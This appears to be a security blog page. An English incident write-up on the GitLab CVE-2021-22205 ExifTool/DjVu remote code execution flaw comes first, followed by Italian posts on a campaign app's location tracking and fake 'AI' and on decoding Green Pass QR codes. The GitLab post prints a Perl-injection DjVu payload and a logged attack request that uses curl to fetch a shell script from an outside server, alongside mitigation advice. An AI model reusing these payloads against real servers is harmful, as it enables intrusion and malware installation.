[EN] CVE-2021-22205 GitLab unauthenticated RCE exploited in the wild

CVE-2021-22205 was initially assigned a CVSSv3 score of 9.9. However, on September 21, 2021 GitLab revised the CVSSv3 score to 10.0. The increase in score was the result of changing the vulnerability from an authenticated to an unauthenticated issue.

The vulnerability was originally reported to GitLab via HackerOne at 7th Apr 2021.

When uploading image files, GitLab Workhorse passes any files with the extensions jpg|jpeg|tiff through to ExifTool to remove any non-whitelisted tags.

An issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.

One of the supported formats is DjVu. When parsing the DjVu annotation, the tokens are evaled to “convert C escape sequences”.

There is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:

(metadata
	(Copyright "\
" . qx{echo vakzz >/tmp/vakzz} . \
" b ") )

In the wild exploitation

On 28th October 2021, I observed an attack against a customer’s GitLab installed on an AWS EC2 instance exposed to the internet.

The attacker exploited this vulnerability and succesfully uploaded a malicious ELF binary to “/tmp/.X11-unix/gitag-ssh”.

The binary was not uploaded directly, but the exploit has downloaded it with a curl to “http://104.233.163.12/Uin”.

Gitlab WorkHorse process a malicious JPEG with a curl to http://104.233.163.12/Uin as payload

The malicious binary “gitag-ssh” had some TCP sockets on 104.233.163.12 to TCP port 10443. I think that this server is acting as Command & Control for a DDoS botnet.

Opened file descriptors
C&C at 104.233.163.12
objdump -x gitag-ssh | grep -i tcp

An example of malicious request against “/uploads/user”:

149.129.69.39 - - [29/Oct/2021:06:45:36 +0000] "POST /uploads/user HTTP/1.1" 422 24 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2227.0 Safari/537.36" "\x0D\x0A------WebKitFormBoundaryIMv3mxRg59TkFSX5\x0D\x0AContent-Disposition: form-data; name=\
x22file\x22; filename=\x22test.jpg\x22\x0D\x0AContent-Type: image/jpeg\x0D\x0A\x0D\x0AAT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\
x00\x00\x00F\x00\x00\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\x0C\x07\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n\x95\xBD\xA2\xC3\x22?FORM\
x00\x00\x00^DJVUINFO\x00\x00\x00\x0A\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\
x00\x08\x00\x08\x8A\xE6\xE1\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\x0AFORM\x00\x00\x03\x07DJVIANTa\x00\
x00\x01P(metadata\x0A\x09(Copyright \x22\x5C\x0A\x22 . qx{ curl http://204.44.82.44:8082/1.sh -o /tmp/tmp.sh} . \x5C\x0A\x22 b \x22) )
\x0A\x0D\x0A------WebKitFormBoundaryIMv3mxRg59TkFSX5--\x0D\x0A\x0D\x0A"

So, definitely, update your GitLab, monitor a POST request to “/uploads/users” and log & drop 104.233.163.12 and 204.44.82.44 destinations.

If you want to log a POST data, as in the above example, you can edit a “log_format” into “/var/opt/gitlab/nginx/conf/nginx.conf” as:

log_format gitlab_access '$remote_addr - $remote_user [$time_local] "$request_method $filtered_request_uri $server_protocol" $status $body_bytes_sent "$filtered_http_referer" "$http_user_agent" "$request_body"';

To temporarily mitigate the vulnerability before a full upgrade you can block the “/users/upload” endpoint into “/var/opt/gitlab/nginx/conf/gitlab-http.conf” as in this example:

location ~ (/uploads/user) {
    deny all;
    return 403;
}

This vulnerability affects all versions of both GitLab Enterprise Edition (EE) and GitLab Community Edition (CE) starting from 11.9. The vulnerability was patched in the following versions: 13.10.3, 13.9.6, 13.8.8.

Update 8th November 2021

Other endpoints are being used in a wild exploitation, so block the “/users/upload” requests is not enough.

Successfully exploitation in POST /help request

Clemente MENTE: l’App Mastella è fuffa e vi spia

L’app “Mastella” non ha nulla a che fare con l’Intelligenza artificiale e invia la posizione geografica all’insaputa dell’utente.

DISCLAIMER

Tutte le informazioni che troverete in questo post si basano su constatazioni oggettive, inconfutabili, e corredate di evidenza tecnica. Per questo motivo, alcuni passaggi possono risultare ostici ai non addetti ai lavori.

Chiunque, in qualsiasi momento, può verificarne la veridicità effettuando le stesse indagini in maniera indipendente.

La seguente analisi è perfettamente lecita e legale in quanto effettuata esclusivamente sul mio telefono e prende in esame l’applicazione “Mastella”, nella versione 6.32, scaricata dal Play Store ufficiale Android.

Anche le analisi riguardanti il traffico di rete sono state effettuate in modo passivo, ovvero osservando esclusivamente ciò che l’applicazione invia al suo server durante il normale utilizzo. Nessuna richiesta di rete è stata manipolata e/o inviata in maniera arbitraria al server. Ovviamente conservo il dump del traffico generato durante l’analisi a supporto delle mie affermazioni.

Insomma, per dirlo con un’altra parola stra-abusata a sproposito: non è stato “hackerato” niente.

L’APPLICAZIONE RICICLATA

Dillo a Clemente, distribuita sugli store Apple e Android con il nome Mastella è stata “sviluppata” da Analist Group s.r.l. di Avellino in Xamarin, una piattaforma di sviluppo mobile che consente di scrivere codice C# (C Sharp) che è un linguaggio di programmazione dell’ecosistema .NET di Microsoft.

Ho virgolettato “sviluppata” non a caso, perché sia l’app che il back-end (l’applicazione lato server con cui comunica l’app che gira sul vostro telefono) sono un’accozzaglia di codice proveniente da altre applicazioni e riutilizzate in malo modo.

Attenzione: seppure questa affermazione è sicuramente vera per la parte client (l’app appunto), non può essere verificata per quanto riguarda il back-end poiché il codice gira sul server e non è possibile “scaricarlo”. Ci sono però degli elementi che lo lasciano pensare.

L’applicazione riciclata per creare “Mastella” si chiama “Instanteat”, ovviamente sempre sviluppata da Analist Group, e la trovate sul Play Store e Apple Store.

Provate a cliccare sull’icona in basso a destra dell’app “Mastella”, vi verrà fuori un menu che non ha molto a che fare con la funzionalità dell’app.

Schermata dell’app Mastella cliccando sull’icona in basso a destra a forma di omino
Schermata dell’app Instanteat cliccando sull’icona in basso a destra “Area”

Qualcuno potrebbe obiettare che non si tratta di riciclo, ma della nobile arte di riutilizzo di codice tramite il medesimo framework applicativo. No, fidatevi, è roba riciclata e anche male.

A questo indirizzo trovate lo sfondo che l’applicazione Mastella carica all’avvio: https://instanteat.s3.eu-central-1.amazonaws.com/mastella/Media/User-1-281/BC_tblMenu/1/97693ed394464eda8d0578d543436a1a-SplashAPPMastellavertical.png

Il bucket S3 utilizzato da “Mastella” per memorizzare gli asset statici (le immagini ad esempio), è lo stesso di “Instanteat”: instanteat.s3.eu-central-1.amazonaws.com.

Non siete ancora convinti? Bene, il namespace dell’applicazione “Mastella” è proprio “Instanteat”, e il codice sorgente è compilato nel file col nome “Instanteat.dll”.

Imho, hanno clonato il repository dell’app Instanteat contenente l’intera solution (sono ottimista, non voglio pensare sia solo una banale cartella condivisa in rete), sostituito il nome da “Instanteat” a “Mastella”, il package name da “com.analistgroup.instanteat” a “com.analistgroup.mastella”, l’indirizzo del backend da “master.instanteat.it” a “mastella.mapservice.eu” più altre cosucce, disabilitato alcune voci di menu, buildato senza rimuovere il resto del codice inutilizzato, e pubblicato il tutto in fretta e furia per la presentazione in pompa magna durante la campagna elettorale.

Decompilato C# di “Instanteat.dll” proveniente dal package android “Mastella”. Notare il namespace.
Classi dell’applicazione “Mastella”, notare i nomi delle classi.

Se “Mastella” non ha lo scopo di prenotare il ristorante, “Instanteat.Agenda.Restaurant.Booking” non ha ragione d’essere, e se “Instanteat” voleva essere un framework, è ben lontano da esserlo.

Ma diamo un occhio anche alle risposte ritornate dal back-end alle nostre due app, fate caso all’header Access-Control-Allow-Origin che dovrebbe regolare il funzionamento delle CORS:

Nel back-end di “Mastella” c’è un riferimento a http://www.sanalives.com
Lo stesso riferimento a http://www.sanalives.com è presente nella risposta del back-end di “Instanteat”
Il sito SanaLives è di Analist Group

Alla fiera di .(dot)NET, per due soldi, un repository lo sviluppatore clonò […] E venne Mastella che clonò Instanteat, che clonò SanaLives, che per due soldi Analist Group sviluppò… (Si scherza eh… – NdR)

INTELLIGENZA FECALE

No, seriamente. Le parole “Intelligenza artificiale” sono usate a sproposito. Accade spesso tra i non addetti ai lavori, ma questo caso è eclatante.

Cosa fa l’app? Quali sono le sue funzionalità?

Tralasciamo pure il menu accessibile dall’icona in basso a destra, quella a forma di omino, che porta alla schermata con le icone “Preferiti”, “Notifiche”, “I Miei Ordini”, “Prenotazioni” (cosa, il ristorante? 🙂 ) Di queste cose non funziona niente, almeno ad oggi.

Cosa rimane? La schermata principale con l’icona del microfono con cui è possibile parlare con Clemente grazie all’intelligenza artificiale che capirà ciò che diciamo e ci risponderà in modo sensato. NO! NO! NO! NOOOO! CAZZO NO!

L’iconcina del microfono non fa altro che utilizzare una funzionalità di Google* (non di Mastella e non di Analist Group) che si chiama speech-to-text. Questa funzionalità già presente nei nostri smartphone (la stessa che usa l’assistente vocale quando dettiamo un messaggio, ad esempio) si occupa di trasformare quello che diciamo in testo. Fine.

*Sì, le funzionalità speech-to-text e text-to-speech di Google migliorano la propria precisione grazie anche al Machine-Learning. Ma questa è un’altra storia che non ha nulla a che vedere con l’app “Mastella”.

Dopo tale lavoro effettuato da una libreria di Google (nella versione Android dell’app), il testo generato da quest’ultima viene recuperato dall’app “Mastella” e inviata al back-end (server).

Il server controlla se il testo da noi inviato è presente tra quelli inseriti a mano dagli sviluppatori dell’app. Se lo è ci risponde con la risposta associata (anch’essa inserita a mano dagli sviluppatori), una supercazzola. Se la domanda da noi inviata non è presente o non è formulata nella maniera esatta a quella inserita dagli sviluppatori, l’app ci risponde che ha capito e ci farà sapere.

Le domande che possiamo fargli, quindi, sono limitate a quelle inserite nel server. Né l’applicazione, né il back-end hanno la capacità di “capire” quello che gli stiamo chiedendo.

Sul sito ufficiale, cliccando sul pulsante giallo “Cosa puoi chiedermi” parte un MP3 (sì, avete capito bene, un ormai vintage MP3) che ci “suggerisce” cosa possiamo chiedergli, ovvero le domande che gli sviluppatori (o lo staff) hanno inserito e a cui hanno associato una supercazz… ehm, una risposta: https://www.dilloaclemente.it/mp3/clemente-richiesta-3.mp3

Esempio: se chiediamo “Cosa hai fatto per la città?” (esattamente come ci indica il sito ufficiale), il server ci risponde con “Abbiamo risanato le casse del Comune, quelle delle due municipalizzate migliorandone anche i servizi e preservando il personale e abbiamo intercettato decine di milioni di euro di finanziamenti pubblici per trasformare la città e renderla più bella e accogliente. Senza dimenticare che abbiamo anche fronteggiato l’emergenza Pandemia senza lasciare mai nessuno da solo.“, tale testo sarà poi letto da un altro servizio google chiamato stavolta text-to-speech.

Richiesta HTTP inviata dall’app (a sinistra) e risposta del server (a destra)

Bene, adesso provate a formulare la domanda in maniera leggermente diversa, esempio: “Cosa hai fatto per Benevento?” La risposta sarà un triste “Ho capito e ti farò sapere quanto prima”. Le faremo sapere, insomma.

Cosa hai fatto per Benevento? Niente.

Dev’essere veramente molto stupida questa intelligenza artificiale. No! Non c’è alcuna intelligenza artificiale!

Semplicemente hanno associato alle parole “fatto per la città” quella risposta. Prima di quella sequenza potete dire qulasiasi altra cosa, vi risponderà sempre la solita supercazzola, ma se cambiate anche solo una parola della sequenza da loro cablata, non troverà alcuna risposta all’interno del database.

Indovinate cosa risponde a: “Supercalifragilistichespiralidoso, anche se a sentirlo può sembrare spaventoso, se lo dici forte avrai un successo strepitoso, fatto per la città“?

Supercazzola!

GEOLOCALIZZAZIONE

Una cosa l’app la fa bene: geolocalizzarvi e inviare la vostra posizione geografica al server.

“Tranquilli”, non lo fa in background (mentre l’applicazione è chiusa), ma lo fa ogni qual volta aprite l’app, cliccate qualsiasi cosa in giro, oppure in autonomia ogni minuto che l’app rimane aperta.

La posizione inviata al server è precisa con risoluzione di pochi metri, perché l’app la recupera dal GPS del telefono.

Non solo vengono inviate le coordinate latitudine, longitudine, e altitudine, ma l’applicazione usa anche un’API di Google Maps per effettuare il “reverse” e recuperare l’indirizzo (via, città, provincia). Tra l’altro effettua questa operazione “client-side”, facendo disclosure dell’API-Key utilizzata per autenticarsi a tale servizio 😳 .

Assieme ai dati di geolocalizzazione l’app invia un identificativo univoco del nostro dispositivo, il suo UserAgent, ed è predisposta ad inviare anche il nome, il modello e il numero seriale (funzionalità che pare non funzionare).

La richiesta che l’app invia al server ogni minuto o ad ogni click: notare le coordinate geografiche, l’indirizzo, l’identificativo univoco del dispositivo, e i cookie con l’ID univoco di sessione.

La risposta che il server invia all’app contiene i campi: nome, cognome, username, password 😳 , email, data di nascita, e codice fiscale. Al momento tali parametri sono vuoti poiché l’applicazione non prevede che l’utente si registri ed effettui un login, ma potrebbero essere disponibili in futuro.

La risposta del server recupera e ritorna ulteriori dati dell’utente dalla sessione in corso.
Parte del codice sorgente che si occupa della geolocalizzazione. Classe “Instanteat.Managers.Features.Tracking”.
Parte del codice che si occupa del “Reverse Geocoding” tramite le API di Google Maps.
Disclosure dell’API-Key, RTFM.

PRIVACY POLICY

Non pervenuta. L’app e il sito non avvisano che viene raccolta la posizione geografica precisa (tramite GPS) e inoltrata ai server di Analist Group.

Certo, gli altri dati come nome, cognome, ecc, sono vuoti. C’è però l’ID univoco del dispositivo e un bel cookie di sessione (e ovviamente il nostro indirizzo IP).

Qualora l’app, anche in futuro, dovesse far funzionare le già presenti aree di registrazione e login, Analist Group sarebbe in grado di de-anonimizzare tutti i dati, anche quelli passati, inviati fino ad ora in forma pseudo-anonima >:( .

Oltre al discorso della geolocalizzazione l’app utilizza 7 tracker, di cui l’utente dovrebbe essere informato:

Ci sono gli estremi per fare un esposto al Garante della privacy? Penso proprio di sì.

A questo link trovate la privacy policy linkata al sito “dilloaclemente.it”, e il suo mirror.

CONCLUSIONI

Questo post non è e non vuole essere un attacco politico a Mastella né tantomeno all’azienda Analist Group.

Frega un cazzo della campagna elettorale. Non ho amici candidati e di solito il mio voto finisce in quella percentuale insignificante tra l’1 e il 4%, quindi no, non mi paga la concorrenza!!1!1!.

Riguardo Analist Group: non li conosco, non mi sono antipatici, e non siamo in concorrenza. Non faccio app, il mio ambito è totalmente diverso.

Quello che attacco è l’uso e l’abuso delle buzzword come in questo caso “Intelligenza Artificiale”, soprattutto se lo scopo di tale utilizzo è quello di ingannare l’elettorato medio facendo leva sulla non conoscenza in merito ad argomenti complessi.

L’altra cosa antipatica è il non rispetto della privacy.

La tecnologia messa a disposizione dall’ecosistema mobile è potente. Lavorare con dati, metadati, e profilazione può sembrare “banale” visto le interfacce semplici esposte dai dispositivi e dalle librerie. Ma non lo è, perché prima di giocare con queste cose bisogna studiare, e prima ancora bisogna avere rispetto delle persone.

RIPRODUCIBILITÀ DELL’ANALISI

Il seguente post è stato scritto analizzando l’app “Mastella” versione 6.32 scaricata dal Play Store ufficiale Android.

  • Nome dell’app: Mastella
  • Nome del file: Mastella_6.32_apkcombo.com.apk
  • SHA1: c36c5dc9d585446ddde56145f9dd2c48e907e518
  • SHA256: 8f213df1e5a9f807007113ec21ca4b9fc97c20c4dddda626f00941556a1a9b5a
  • Nome del package: com.analistgroup.mastella
  • Versione: 6.32

Seguono i dati di firma dell’APK

Subject: C=US, ST=California, L=Mountain View, O=Google Inc., OU=Android, CN=Android
Signature Algorithm: rsassa_pkcs1v15
Valid From: 2021-06-07 14:10:21+00:00
Valid To: 2051-06-07 14:10:21+00:00
Issuer: C=US, ST=California, L=Mountain View, O=Google Inc., OU=Android, CN=Android
Serial Number: 0x22ecfd7bac07f5c9257916b3decd5fc51c93b543
Hash Algorithm: sha256
md5: 9b38cb5fccb8c773b79f6b1217bbb564
sha1: 91013bcd301c636c69d0ed4b26770c77acd1f019
sha256: 69f519287e8e0863d2a50c9f2c38c9f452531ac8b172de8c971cac4e8bf851ae
sha512: 1c61bf3359911dd71c65e9cdb072ef12bd91356f9fbe2db61baa801f88b20cf998b11ec893eafcf9f89314d8166e78f88199ae4eef6f942365b2749c87f1ccb9
PublicKey Algorithm: rsa
Bit Size: 4096
Fingerprint: 09940338e84e787c7b18cdee3610bef17f09a39f3928be3fbbe0b1389ea161c8

APK Mirror
VirusTotal archive

RTFM – Read The Fucking Manual & Get Vaccinated

How I Learned to Stop Worrying and Love the Green Pass

Che dati contiene la “Certificazione verde Covid-19“, detta Green Pass, corrispondente alla versione italiana dell’EU Digital COVID Certificate?

Il certificato ci viene consegnato tramite un QR Code, contenente i dati relativi alla vaccinazione ricevuta, il nostro nome e cognome, e la nostra data di nascita, informazioni che sono codificate secondo le specifiche tecniche dell’eHealth Network pubblicate dalla Commissione Europea, e firmate digitalmente per garantirne l’integrità e l’autenticità.

Decodifica del mio certificato

Seguendo le specifiche tecniche, ho implementato un semplice Proof Of Concept per poter leggere le informazioni codificate nel QR Code: eHealthDecoder.

Il software è rilasciato con licenza Open Source, liberamente scaricabile e modificabile, e il suo scopo è puramente didattico.

Codifica utilizzata per creare il QR Code del Green Pass

Il certificato non contiene altri dati oltre a quelli dichiarati dalla Commissione Europea, non c’è quindi alcun rischio a mostrarlo in aeroporto, ad esempio, poiché le compagnie conoscono già il vostro nome, cognome e data di nascita dal momento in cui avete acquistato il biglietto.

Per quanto riguarda la condivisione indiscriminata sui social, dipende dalla propria sensibilità.

Siate consapevoli della perdita totale di controllo su tutto ciò che pubblicate, che sia il QR Code del vaccino o la foto di vostro figlio che gioca in spiaggia.

Vaccinatevi.

Vai alla versione integrale dell’articolo.